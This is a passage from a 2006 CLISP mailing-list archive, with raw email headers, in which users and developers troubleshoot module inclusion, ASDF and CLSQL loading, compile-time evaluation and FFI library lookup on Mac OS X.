Inc. build 4061) > gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -I. -L/usr/local/lib -x none libcharset.a libavcall.a libcallback.a -lreadline -lncurses -liconv -L/usr/local/lib -lsigsegv -lc -L/usr/X11R6/lib > SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY > libsigsegv 2.4 > libiconv 1.9 > libreadline 5.1 > Features: > (READLINE REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS > LOGICAL-PATHNAMES SCREEN FFI UNICODE BASE-CHAR=CHARACTER UNIX MACOS) > C Modules: (clisp i18n syscalls regexp readline) > Installation directory: /Users/woudshoo/src/clisp-2.41/src/ > User language: ENGLISH > Machine: POWER MACINTOSH (POWER MACINTOSH) nelly.oudshoorn.nl [10.0.0.13] > ============ > > But I can't find any reference in the output to rawsock nor to libsvm. > Is this correct? Is there any way I can check that they are really included? http://clisp.cons.org/impnotes/faq.html#faq-modules Thanks. Sam. From lisp-clisp-list@m.gmane.org Wed Dec 06 15:57:52 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Gs6e8-0006Dq-6p for clisp-list@lists.sourceforge.net; Wed, 06 Dec 2006 15:57:52 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Gs6e5-0003Ms-Rz for clisp-list@lists.sourceforge.net; Wed, 06 Dec 2006 15:57:52 -0800 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1Gs6dz-0007CU-GE for clisp-list@lists.sourceforge.net; Thu, 07 Dec 2006 00:57:43 +0100 Received: from ironhead.xs4all.nl ([213.84.192.76]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 07 Dec 2006 00:57:43 +0100 Received: from woudshoo by ironhead.xs4all.nl with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 07 Dec 2006 00:57:43 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Wim Oudshoorn Date: Thu, 07 Dec 2006 00:57:28 +0100 Lines: 16 Message-ID: References: <45775581.4040707@gnu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: ironhead.xs4all.nl User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/22.0.50 (darwin) Cancel-Lock: sha1:M5axduL5LXjOKMWZa+GfEwGhL88= Sender: news X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] MacOSX version clisp 2.41 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 06 Dec 2006 23:57:52 -0000 Sam Steingold writes: > Wim Oudshoorn wrote: > >> But I can't find any reference in the output to rawsock nor to libsvm. >> Is this correct? Is there any way I can check that they are really included? > > http://clisp.cons.org/impnotes/faq.html#faq-modules It seems ok. clisp -K full --version reports LIBSVM and RAWSOCK Wim Oudshoorn. From sds@gnu.org Wed Dec 06 18:20:21 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Gs8s1-0002GF-MU for clisp-list@lists.sourceforge.net; Wed, 06 Dec 2006 18:20:21 -0800 Received: from mta1.srv.hcvlny.cv.net ([167.206.4.196]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Gs8s0-00032f-2m for clisp-list@lists.sourceforge.net; Wed, 06 Dec 2006 18:20:21 -0800 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta1.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0J9V003PBT5DH5V0@mta1.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Wed, 06 Dec 2006 21:20:02 -0500 (EST) Received: by loiso.podval.org (Postfix, from userid 500) id C1E2221E00F; Wed, 06 Dec 2006 21:20:01 -0500 (EST) Date: Wed, 06 Dec 2006 21:20:01 -0500 From: Sam Steingold In-reply-to: To: clisp-list@lists.sourceforge.net, Wim Oudshoorn Mail-followup-to: clisp-list@lists.sourceforge.net, Wim Oudshoorn Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: <4576D6EB.2040901@gnu.org> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.91 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] Newbie question about compilation, asdf and ffi X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 07 Dec 2006 02:20:21 -0000 > * Wim Oudshoorn [2006-12-07 00:33:29 +0100]: > Sam Steingold writes: >> Wim Oudshoorn wrote: >>> Sam Steingold writes: >> >>> ;; Loaded file /Users/woudshoo/.clisprc >>> ;; Compiling file /Users/woudshoo/lisp/monotone-experiment.lisp ... >>> *** - READ from #: there is no package with >>> name "CLSQL" >>> >>> 0 errors, 0 warnings >> >> you need to load CLSQL before compiling monotone-experiment.lisp > > Hm, how do I do that? e.g., (require 'clsql) or (asdf load "clsql"). > There are some concepts I am apparantly not grasping. > And I can't seem to findd the right place in the documentation > to enlighten me. So any pointers appreciated. > > Question/Problem 1: > > in the directory ~/lisp/ I have the files asdf.lisp, asdf.fas and asdf.lib > And if I do the following: > > nelly:~/lisp woudshoo$ clisp -q -norc > [1]> (require 'asdf) > > *** - LOAD: A file with name ASDF does not exist > The following restarts are available: > ABORT :R1 ABORT > Break 1 [2]> > > I expected require to look for asdf.fas or asdf.lisp, but > it seems not to find it. So what does require exactly do? > in the CLHS it says that how require finds its files > is implementation dependend so why does this not work. http://clisp.cons.org/impnotes/system-dict.html#require http://clisp.cons.org/impnotes/system-dict.html#loadfile http://clisp.cons.org/impnotes/system-dict.html#load-paths > Question/Problem 2: > > I created a file test-load.lisp with the following content: > > (load "asdf") > (setf asdf:*central-registry* > '(*default-pathname-defaults* > #p"~/lisp-asdf/")) > (asdf:operate 'asdf:load-op 'clsql) > > > Now if I load the file it works: > > clisp -q -norc test-load.lisp > ============================================ > nelly:~/lisp woudshoo$ clisp -q -norc test-load.lisp > ; loading system definition from /Users/woudshoo/lisp-asdf/clsql.asd into # > ; loading system definition from /Users/woudshoo/lisp-asdf/cffi.asd into # > ; registering # as CFFI > 0 errors, 0 warnings > ; loading system definition from /Users/woudshoo/lisp-asdf/cffi-uffi-compat.asd into # > ; registering # as CFFI-UFFI-COMPAT > WARNING: The generic function # is being modified, but has already been called. > 0 errors, 0 warnings > ; registering # as UFFI > ; registering # as CLSQL > WARNING: The generic function # is being modified, but has already been called. > WARNING: DEFUN/DEFMACRO: redefining macro LOOP-FINISH in /Users/woudshoo/lisp-asdf/clsql-3.7.8/sql/ansi-loop.fas, was defined in > /Users/woudshoo/src/clisp-2.41/src/loop.fas > WARNING: DEFUN/DEFMACRO: redefining macro LOOP in /Users/woudshoo/lisp-asdf/clsql-3.7.8/sql/ansi-loop.fas, was defined in > /Users/woudshoo/src/clisp-2.41/src/loop.fas > 0 errors, 0 warnings > =========================================== > > > But if I compile the file > > clisp -q -norc -c test-load.lisp > =========================================== > nelly:~/lisp woudshoo$ clisp -q -norc -c test-load.lisp > ;; Compiling file /Users/woudshoo/lisp/test-load.lisp ... > *** - READ from #: there is no package with name "ASDF" > > 0 errors, 0 warnings > =========================================== > you need something like (eval-when (:compile :load-tople) (load "asdf") (asdf load "clsql")) in general, I think it would be a good idea for you to create an image that contains asdf and clsql and always use it. -- Sam Steingold (http://sds.podval.org/) on Fedora Core release 5 (Bordeaux) http://dhimmi.com http://ffii.org http://memri.org http://jihadwatch.org http://pmw.org.il http://thereligionofpeace.com Microsoft: announce yesterday, code today, think tomorrow. From sds@gnu.org Wed Dec 06 18:21:43 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Gs8tK-0002ME-Mq for clisp-list@lists.sourceforge.net; Wed, 06 Dec 2006 18:21:42 -0800 Received: from mta5.srv.hcvlny.cv.net ([167.206.4.200]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Gs8tI-0000F7-7R for clisp-list@lists.sourceforge.net; Wed, 06 Dec 2006 18:21:42 -0800 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta5.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0J9V008Q9T7V3B60@mta5.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Wed, 06 Dec 2006 21:21:34 -0500 (EST) Received: by loiso.podval.org (Postfix, from userid 500) id C90C221E00F; Wed, 06 Dec 2006 21:21:31 -0500 (EST) Date: Wed, 06 Dec 2006 21:21:31 -0500 From: Sam Steingold In-reply-to: To: clisp-list@lists.sourceforge.net, Wim Oudshoorn Mail-followup-to: clisp-list@lists.sourceforge.net, Wim Oudshoorn Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.91 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] Newbie question about compilation, asdf and ffi X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 07 Dec 2006 02:21:43 -0000 > * Wim Oudshoorn [2006-12-05 23:08:36 +0100]: > > clisp -i my-program.lisp -x '(saveinitmem "mtn-exp" :executable t :norc t) > > and run the program > > ./mtn-exp > > everything is loaded in 0.125 seconds. BUT when > I in the resulting repl execute > > (clsql:connect ...) > > I get: > > ** - Continuable Error > FFI::FOREIGN-CALL-OUT: no dynamic object named "sqlite3_open" in library :DEFAULT > If you continue (by typing 'continue'): Skip foreign object creation > The following restarts are also available: > ABORT :R1 ABORT > Break 1 [2]> how is clsql:connect defined? -- Sam Steingold (http://sds.podval.org/) on Fedora Core release 5 (Bordeaux) http://thereligionofpeace.com http://camera.org http://pmw.org.il http://dhimmi.com http://iris.org.il http://jihadwatch.org Is there another word for synonym? From Joerg-Cyril.Hoehle@t-systems.com Thu Dec 07 01:14:30 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GsFKn-0005x6-S4 for clisp-list@lists.sourceforge.net; Thu, 07 Dec 2006 01:14:30 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GsFKm-0004yl-6z for clisp-list@lists.sourceforge.net; Thu, 07 Dec 2006 01:14:29 -0800 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.telekom.de with ESMTP; Thu, 7 Dec 2006 09:32:58 +0100 Received: from S4DE8PSAAFQ.mitte.t-com.de ([10.151.180.5]) by S4DE8PSAANQ.mitte.t-com.de with Microsoft SMTPSVC(6.0.3790.1830); Thu, 7 Dec 2006 09:32:58 +0100 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: base64 X-MimeOLE: Produced By Microsoft Exchange V6.5 Date: Thu, 7 Dec 2006 09:32:55 +0100 Message-Id: In-Reply-To: <20061204170202.E527512AD83@thalassa.informatimago.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [clisp-list] Where does this encoding come from? Thread-Index: AccXxq3sUbhC/P1CSv+k3JVkXYs+LwCEikQw From: "Hoehle, Joerg-Cyril" To: X-OriginalArrivalTime: 07 Dec 2006 08:32:58.0158 (UTC) FILETIME=[4C9274E0:01C719DA] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: pjb@informatimago.com Subject: Re: [clisp-list] Where does this encoding come from? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 07 Dec 2006 09:14:30 -0000 UGFzY2FsIEJvdXJndWlnbm9uIHdyb3RlOg0KPklmIEkgbGF1bmNoIHdpdGggY2xpc3AgLW5vcmMg LUUgdXRmLTggaXQgd29ya3Mgb2suDQo+Qy9VU0VSWzEzMl0+IChleHQ6Y29udmVydC1zdHJpbmct dG8tYnl0ZXMgIsOnxLFrYXJ0bWFrIiBjaGFyc2V0OnV0Zi04KQ0KPioqKiAtIENoYXJhY3RlciAj XHUwMTMxIGNhbm5vdCBiZSByZXByZXNlbnRlZCBpbiB0aGUgY2hhcmFjdGVyIHNldA0KPiAgICAg ICBDSEFSU0VUOklTTy04ODU5LTE1DQo+U09GVFdBUkUtVkVSU0lPTiAiR05VIEMgMy4zIDIwMDMw MjI2IChwcmVyZWxlYXNlKSAoU3VTRSBMaW51eCkiDQoNCkNhbm5vdCByZXByb2R1Y2UuIFBsZWFz ZSB0ZWxsIHVzIGhvdyB5b3UgbGF1bmNoZWQgQ0xJU1AgKGUuZy4gJExBTkcgYW5kICRMQ18qIHNl dHRpbmdzIGFuZCBvdGhlciByZWxldmFudCBzdHVmZikuDQoNClRoZSBmdW5ueSB0aGluZyBJIG9i c2VydmUgaXMgaWYgSSBwYXN0ZSB0aGUgdHVya2lzaCBjaGFyYWN0ZXJzIGludG8gYSBHbm9tZSB0 ZXJtaW5hbCBzZXQgdG8gVVRGLTggd2hlcmUgQ0xJU1AgcnVucyB3aXRoIExBTkc9QyBsaXNwaW5p dC5tZW0sIHRoZW4gdGhlIHR3byBub24tQVNDSUkgY2hhcmFjdGVycyBkaXNhcHBlYXIgKGFuZCAo bGVuZ3RoICJrYXJ0bWFrIikgaXMgNywgc28gbm90aGluZyBpbnZpc2libGUgaGVyZSkuIEkgaGF2 ZSBubyBpZGVhIHdoYXQgcHJvY2VzcyBpcyBjYXVzaW5nIHRoaXMuIFBvc3NpYmx5IHJlYWRsaW5l Pw0KDQpSZWdhcmRzLA0KCUrDtnJnIEjDtmhsZS4NCg== From Joerg-Cyril.Hoehle@t-systems.com Thu Dec 07 06:41:58 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GsKRi-00058U-2W for clisp-list@lists.sourceforge.net; Thu, 07 Dec 2006 06:41:58 -0800 Received: from tcmail31.telekom.de ([217.6.95.238]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GsKRg-00059z-Es for clisp-list@lists.sourceforge.net; Thu, 07 Dec 2006 06:41:58 -0800 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 7 Dec 2006 15:41:47 +0100 Received: from S4DE8PSAAFQ.mitte.t-com.de ([10.151.180.5]) by S4DE8PSAANQ.mitte.t-com.de with Microsoft SMTPSVC(6.0.3790.1830); Thu, 7 Dec 2006 15:41:47 +0100 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: base64 X-MimeOLE: Produced By Microsoft Exchange V6.5 Date: Thu, 7 Dec 2006 15:41:45 +0100 Message-Id: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [clisp-list] Where does this encoding come from? Thread-Index: AccXxq3sUbhC/P1CSv+k3JVkXYs+LwCEikQwAAy+ITA= From: "Hoehle, Joerg-Cyril" To: X-OriginalArrivalTime: 07 Dec 2006 14:41:47.0219 (UTC) FILETIME=[D2853230:01C71A0D] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] reliable way to detect a clisp version? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 07 Dec 2006 14:41:58 -0000 SGksDQoNCkkgd2FzIGp1c3QgZmFjZWQgd2l0aCB0aGUgcHJvYmxlbSBvZiBkZXRlY3Rpbmcgd2hl biBpbiBjbGlzcCBleHQ6c29ja2V0LXNlcnZlciBwcm92aWRlcyBhIHdvcmtpbmcgOmludGVyZmFj ZSBrZXl3b3JkIGFyZ3VtZW50Lg0KDQpTY2FubmluZyBleHQ6YXJnbGlzdCBpcyBub3QgdGhlIGFu c3dlciwgYXMgdGhlIGZpcnN0IHZlcnNpb25zICgyLjM3IGFuZCAyLjM4KQ0Kc3VmZmVyZWQgZnJv bSB0aGUgImNyZWF0ZSBzb2NrZXQgc2VydmVyIHR3aWNlIiBidWcuDQooc29ja2V0LXNlcnZlciBw b3J0IDppbnRlcmZhY2UgIjEyNy4wLjAuMSIpIGlzIHVudXNhYmxlIHRoZXJlLg0KDQooc3RyaW5n Pj0gKGxpc3AtaW1wbGVtZW50YXRpb24tdmVyc2lvbikgIjIuMzkiKSBkb2VzIG5vdCBhcHBlYWwg dG8gbWUgYXMgYSBnb29kDQp0ZXN0LCBiZWNhdXNlIHRoZXJlIG1pZ2h0IGJlIGNsaXNwICIyLjEw MSIgaW4gYSBkaXN0YW50IGZ1dHVyZS4NCg0KSSB3aXNoZWQgKGxpc3AtaW1wbGVtZW50YXRpb24t dmVyc2lvbikgaGFkIGJlZW4gdXNpbmcgdGhlIGZvbGxvd2luZyBmb3JtYXQ6DQoiMjAwNi0xMi0w NyAoMi40NSkgLi4uIg0KVGhlbiB3ZSBjb3VsZCBoYXZlIGFwcGxpZWQgU1RSSU5HPj0gb24gdGhl IHN0cmluZyB1bnRpbCB5ZWFyIDk5OTksIGFuZCBldmVuIG1ha2UNCnBlb3BsZSB3b3JraW5nIHdp dGggQ1ZTIGhhcHB5IChlLmcuIHRoZSAyLjM4IHJlbGVhc2UgbWlnaHQgYmUgYnVnZ3ksIGJ1dCAy MDA2LTAyLTIyDQpmaXhlZCB0aGUgYnVnIGluIENWUywgZXZlbiB0aG91Z2ggaXQgaXMgc3RpbGwg YSAiMi4zOCIpLg0KRXZlbiB0aGF0IGRvZXMgbm90IGNvbnNpZGVyIHBlb3BsZSB1c2luZyBhIHNw ZWNpZmljIChvbGQpIHZlcnNpb24gYW5kIGFwcGx5aW5nDQpvbmx5IHNlbGVjdGVkIHBhdGNoZXMs IGUuZy4gMi4yNyB3aXRoIHNvY2tldC1zZXJ2ZXIgOmludGVyZmFjZSBhZGRlZC4NCg0KT2YgY291 cnNlLCBjaGFuZ2luZyB0aGUgZm9ybWF0IG5vdyB3b3VsZCBicmVhayBhbGwgYWQgaG9jIGNvZGUg aW4gdGhlIHdvcmxkDQp0aGF0IGRvZXMgc29tZSBkZXRlY3Rpb24gd29yay4NCg0KQWxzbywgdGhl IGRvY3VtZW50YXRpb24gd291bGQgbmVlZCB0byBzcGVjaWZ5IHdoaWNoIGFyZSB0aGUgZm9ybWF0 cyB0aGF0DQpMSVNQLUlNUExFTUVOVEFUSU9OLVZFUlNJT04gY2FuIHRha2Ugc28gdXNlcnMgYmVj b21lIGFibGUgdG8gd3JpdGUNCnJlbGlhYmxlIGRldGVjdGlvbiBjb2RlIC0tIHdoZW4gbmVlZGVk Lg0KDQpTdWdnZXN0aW9ucz8gT3ZlcmtpbGw/IFdobyBjYXJlcz8NCglKw7ZyZyBIw7ZobGUuDQo= From Joerg-Cyril.Hoehle@t-systems.com Thu Dec 07 07:10:50 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GsKte-0008D1-5X for clisp-list@lists.sourceforge.net; Thu, 07 Dec 2006 07:10:50 -0800 Received: from tcmail31.telekom.de ([217.6.95.238]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GsKtd-0007B0-9O for clisp-list@lists.sourceforge.net; Thu, 07 Dec 2006 07:10:50 -0800 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.telekom.de with ESMTP; Thu, 7 Dec 2006 16:10:39 +0100 Received: from S4DE8PSAAFQ.mitte.t-com.de ([10.151.180.5]) by S4DE8PSAANQ.mitte.t-com.de with Microsoft SMTPSVC(6.0.3790.1830); Thu, 7 Dec 2006 16:10:39 +0100 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.5 Date: Thu, 7 Dec 2006 16:10:37 +0100 Message-Id: In-Reply-To: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [clisp-list] Newbie question about compilation, asdf and ffi Thread-Index: AccZjz8/7wgvqbydQxi9c0nY/gCOWgAf1ZHw From: "Hoehle, Joerg-Cyril" To: X-OriginalArrivalTime: 07 Dec 2006 15:10:39.0406 (UTC) FILETIME=[DAFBF4E0:01C71A11] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: woudshoo@xs4all.nl Subject: Re: [clisp-list] Newbie question about compilation, asdf and ffi X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 07 Dec 2006 15:10:50 -0000 Wim Oudshorn wrote: >I created a file test-load.lisp with the following content: > (load "asdf") > (setf asdf:*central-registry* > '(*default-pathname-defaults* > #p"~/lisp-asdf/")) > (asdf:operate 'asdf:load-op 'clsql) >So perhaps I am confused about what compilation is. You need to rethink some assumptions & lear more about compilation in CL. Loading this file produces lots of side-effects which would affect the compilation environment: packages are created etc. You should read chapter ?3.2.2 of CLHS or perhaps some other, easier text (sorry, nothing comes to mind). You will get no speed gain by compiling the above file. All it does is 2 function calls and one assignment. What's important when loading is the side effects of performing the calls (e.g. load plenty of other files). What's important is that those other files are compiled. You can tell whether clisp reports loading "asdf.fas" or (slow) "asdf.lisp" etc. Similarly, don't compile .asd files. There would be little benefit. You'd need EVAL-WHEN in order to create a file test-load that could properly compile, so that the run-time and compilation environments become similar. (EVAL-WHEN (load compile eval) (load/require "asdf")) would be a start, or perhaps the more verbose and not equivalent (EVAL-WHEN (:compile-toplevel etc.) #) With ASDF, you won't need (asdf:oos 'asdf:compile-op "mysystem"). IIRC, ASDF will compile before loading if old, so (asdf:oos 'asdf:load-op "mysystem") is enough. Regards, Jorg Hohle From Joerg-Cyril.Hoehle@t-systems.com Thu Dec 07 07:16:55 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GsKzX-0000Qk-Hl for clisp-list@lists.sourceforge.net; Thu, 07 Dec 2006 07:16:55 -0800 Received: from tcmail31.telekom.de ([217.6.95.238]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GsKzW-0000jX-Rv for clisp-list@lists.sourceforge.net; Thu, 07 Dec 2006 07:16:55 -0800 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.telekom.de with ESMTP; Thu, 7 Dec 2006 16:16:45 +0100 Received: from S4DE8PSAAFQ.mitte.t-com.de ([10.151.180.5]) by S4DE8PSAANQ.mitte.t-com.de with Microsoft SMTPSVC(6.0.3790.1830); Thu, 7 Dec 2006 16:16:44 +0100 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.5 Date: Thu, 7 Dec 2006 16:16:42 +0100 Message-Id: In-Reply-To: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [clisp-list] Newbie question about compilation, asdf and ffi Thread-Index: AccYutj0U7hws2YGRXqA896uXzsyFwBVhnng From: "Hoehle, Joerg-Cyril" To: , X-OriginalArrivalTime: 07 Dec 2006 15:16:44.0828 (UTC) FILETIME=[B4CAEDC0:01C71A12] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] Newbie question about compilation, asdf and ffi X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 07 Dec 2006 15:16:55 -0000 Wim Oudshoorn wrote: > (asdf:operate 'asdf:load-op 'clsql-sqlite3) > FFI::FOREIGN-CALL-OUT: no dynamic object named "sqlite3_open" in library :DEFAULT I haven't looked at current CLSQL. In version 3.5.4, I see that sqlite-api supplies the :module "sqlite" argument, which is good. You need to provide a mapping from that name to the shared object file (assuming UNIX). No, wait, you're using the CFFI backend, which does not know about modules and libraries AFAIK. CFFI only looks up names in the current process namespace AFAIK. Maybe a simple (ffi::foreign-library "/usr/lib/sqlite.dylib") does the trick for your current session?? It should open the library and make all its names available (at least in Linux). You need to call that before loading clsql. Then try to figure out how the other DB backends do that for CFFI on MacOS with CLISP. Regards, Jorg Hohle From pjb@informatimago.com Thu Dec 07 07:40:58 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GsLMo-0002xX-5z for clisp-list@lists.sourceforge.net; Thu, 07 Dec 2006 07:40:58 -0800 Received: from [62.93.174.79] (helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GsLMe-0003KB-Ur for clisp-list@lists.sourceforge.net; Thu, 07 Dec 2006 07:40:55 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 44F4B586AA; Thu, 7 Dec 2006 16:40:08 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 84BBE585EF; Thu, 7 Dec 2006 16:40:03 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id A162912AD86; Thu, 7 Dec 2006 16:40:01 +0100 (CET) From: Pascal Bourguignon Message-ID: <17784.13777.278736.595994@thalassa.informatimago.com> Date: Thu, 7 Dec 2006 16:40:01 +0100 To: "Hoehle, Joerg-Cyril" In-Reply-To: References: X-Mailer: VM 7.17 under Emacs 22.0.91.1 Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.7 required=5.0 tests=ALL_TRUSTED,BAYES_00, RISK_FREE autolearn=ham version=3.0.1 X-Spam-Level: Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See 